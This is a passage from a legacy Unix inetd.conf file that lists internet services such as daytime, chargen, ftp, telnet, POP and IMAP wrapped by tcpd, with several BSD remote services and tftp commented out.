nowait root internal discard dgram udp wait root internal daytime stream tcp nowait root internal daytime dgram udp wait root internal chargen stream tcp nowait root internal chargen dgram udp wait root internal time stream tcp nowait root internal time dgram udp wait root internal # # These are standard services. # ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd # # Shell, login, exec, comsat and talk are BSD protocols. # #shell stream tcp nowait root /usr/sbin/tcpd in.rshd #login stream tcp nowait root /usr/sbin/tcpd in.rlogind #exec stream tcp nowait root /usr/sbin/tcpd in.rexecd #comsat dgram udp wait root /usr/sbin/tcpd in.comsat talk dgram udp wait nobody.tty /usr/sbin/tcpd in.talkd #ntalk dgram udp wait nobody.tty /usr/sbin/tcpd in.ntalkd #dtalk stream tcp wait nobody.tty /usr/sbin/tcpd in.dtalkd # # Pop and imap mail services et al # pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d imap stream tcp nowait root /usr/sbin/tcpd imapd # # The Internet UUCP service. # #uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l # # Tftp service is provided primarily for booting. Most sites # run this only on machines acting as "boot servers." Do not uncomment # this unless you *need* it. # #tftp dgram udp wait root /usr/sbin/tcpd in.tftpd #bootps dgram udp wait root /usr/sbin/tcpd bootpd # # Finger, systat and netstat give out user information which m